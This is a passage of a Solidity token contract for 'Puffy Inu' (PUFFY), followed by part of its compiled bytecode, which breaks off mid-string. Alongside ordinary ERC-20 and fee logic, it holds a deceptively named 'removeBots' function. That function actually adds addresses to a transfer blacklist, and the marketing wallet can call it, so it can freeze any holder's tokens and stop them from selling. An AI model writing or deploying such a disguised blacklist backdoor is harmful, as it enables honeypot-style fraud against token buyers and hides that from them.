mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Puffy Inu";
string public constant _symbol = "PUFFY";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 2 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeBots(address[] calldata botwallet) external {
require( msg.sender == _marketingWalletAddress );
for (uint256 i; i < botwallet.length; ++i) {
bots[botwallet[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461069e578063c3c8cd8014610763578063c9567bf91461077a578063d28d885214610791578063d543dbeb14610821578063dd62ed3e1461085c57610135565b8063715018a6146104b55780638da5cb5b146104cc57806395d89b411461050d578063a9059cbb1461059d578063b09f12661461060e57610135565b8063313ce567116100f2578063313ce567146103485780635932ead1146103765780636c3bbfd7146103b35780636fc3eaec1461043957806370a082311461045057610135565b806306fdde031461013a578063095ea7b3146101ca57806318160ddd1461023b57806323b872dd14610266578063273123b7146102f757610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6108e1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d657600080fd5b50610223600480360360408110156101ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091e565b60405180821515815260200191505060405180910390f35b34801561024757600080fd5b5061025061093c565b6040518082815260200191505060405180910390f35b34801561027257600080fd5b506102df6004803603606081101561028957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061094d565b60405180821515815260200191505060405180910390f35b34801561030357600080fd5b506103466004803603602081101561031a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a26565b005b34801561035457600080fd5b5061035d610b49565b604051808260ff16815260200191505060405180910390f35b34801561038257600080fd5b506103b16004803603602081101561039957600080fd5b81019080803515159060200190929190505050610b52565b005b3480156103bf57600080fd5b50610437600480360360208110156103d657600080fd5b81019080803590602001906401000000008111156103f357600080fd5b82018360208201111561040557600080fd5b8035906020019184602083028401116401000000008311171561042757600080fd5b9091929391929390505050610c37565b005b34801561044557600080fd5b5061044e610d2f565b005b34801561045c57600080fd5b5061049f6004803603602081101561047357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da1565b6040518082815260200191505060405180910390f35b3480156104c157600080fd5b506104ca610e8c565b005b3480156104d857600080fd5b506104e1611012565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051957600080fd5b5061052261103b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610562578082015181840152602081019050610547565b50505050905090810190601f16801561058f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105a957600080fd5b506105f6600480360360408110156105c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611078565b60405180821515815260200191505060405180910390f35b34801561061a57600080fd5b50610623611096565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610663578082015181840152602081019050610648565b50505050905090810190601f1680156106905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156106aa57600080fd5b50610761600480360360208110156106c157600080fd5b81019080803590602001906401000000008111156106de57600080fd5b8201836020820111156106f057600080fd5b8035906020019184602083028401116401000000008311171561071257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506110cf565b005b34801561076f57600080fd5b5061077861121f565b005b34801561078657600080fd5b5061078f611299565b005b34801561079d57600080fd5b506107a6611917565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107e65780820151818401526020810190506107cb565b50505050905090810190601f1680156108135780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561082d57600080fd5b5061085a6004803603602081101561084457600080fd5b8101908080359060200190929190505050611950565b005b34801561086857600080fd5b506108cb6004803603604081101561087f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611aff565b6040518082815260200191505060405180910390f35b60606040518060400160405280600981526020017f507566667920496e750000000000000000000000000000000000000000000000815250905090565b600061093261092b611b86565b8484611b8e565b6001905092915050565b6000683635c9adc5dea00000905090565b600061095a848484611d85565b610a1b84610966611b86565b610a168560405180606001604052806028815260200161407260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109cc611b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125e49092919063ffffffff16565b611b8e565b600190509392505050565b610a2e611b86565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610b5a611b86565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9157600080fd5b60005b82829050811015610d2a57600160076000858585818110610cb157fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806001019050610c94565b505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d70611b86565b73ffffffffffffffffffffffffffffffffffffffff1614610d9057600080fd5b6000479050610d9e816126a4565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e3c57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610e87565b610e84600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279f565b90505b919050565b610e94611b86565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f54576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5055464659000000000000000000000000000000000000000000000000000000815250905090565b600061108c611085611b86565b8484611d85565b6001905092915050565b6040518060400160405280600581526020017f505546465900000000000000000000000000000000000000000000000000000081525081565b6110d7611b86565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611197576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b815181101561121b576001600760008484815181106111b557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061119a565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611260611b86565b73ffffffffffffffffffffffffffffffffffffffff161461128057600080fd5b600061128b30610da1565b905061129681612823565b50565b6112a1611b86565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611361576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156113e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061147430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611b8e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156114ba57600080fd5b505afa1580156114ce573d6000803e3d6000fd5b505050506040513d60208110156114e457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561155757600080fd5b505afa15801561156b573d6000803e3d6000fd5b505050506040513d602081101561158157600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b1580156115fb57600080fd5b505af115801561160f573d6000803e3d6000fd5b505050506040513d602081101561162557600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116bf30610da1565b6000806116ca611012565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b50505050506040513d606081101561177a57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550686c6b935b8bbd4000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118d857600080fd5b505af11580156118ec573d6000803e3d6000fd5b505050506040513d602081101561190257600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600981526020017f507566667920496e75000000000000000000000000000000000000000000000081525081565b611958611b86565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a18576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611a8e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611abd6064611aaf83683635c9adc5dea00000612b0d90919063ffffffff16565b612b9390919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806140e86024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c9a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061402f6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806140c36025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613fe26023913960400191505060405180910390fd5b60008111611eea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061409a6029913960400191505060405180910390fd5b611ef2611012565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f605750611f30611012565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561252157601360179054906101000a900460ff16156121c6573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fe257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561203c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120965750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121c557601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166120dc611b86565b73ffffffffffffffffffffffffffffffffffffffff1614806121525750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661213a611b86565b73ffffffffffffffffffffffffffffffffffffffff16145b6121c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146122b65760145481111561220857600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122ac5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6122b557600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123615750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156123b75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156123cf5750601360179054906101000a900460ff165b156124675742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061241f57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061247230610da1565b9050601360159054906101000a900460ff161580156124df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156124f75750601360169054906101000a900460ff165b1561251f5761250581612823565b6000479050600081111561251d5761251c476126a4565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125c85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156125d257600090505b6125de84848484612bdd565b50505050565b6000838311158290612691576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561265657808201518184015260208101905061263b565b50505050905090810190601f1680156126835780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6126f4600284612b9390919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561271f573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612770600284612b9390919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561279b573d6000803e3d6000fd5b5050565b6000600a548211156127fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614005602a913960400191505060405180910390fd5b6000612806612e34565b905061281b8184612b9390919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561285857600080fd5b506040519080825280602002602001820160405280156128875781602001602082028036833780820191505090505b509050308160008151811061289857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561293a57600080fd5b505afa15801561294e573d6000803e3d6000fd5b505050506040513d602081101561296457600080fd5b81019080805190602001909291905050508160018151811061298257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506129e930601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b8e565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffff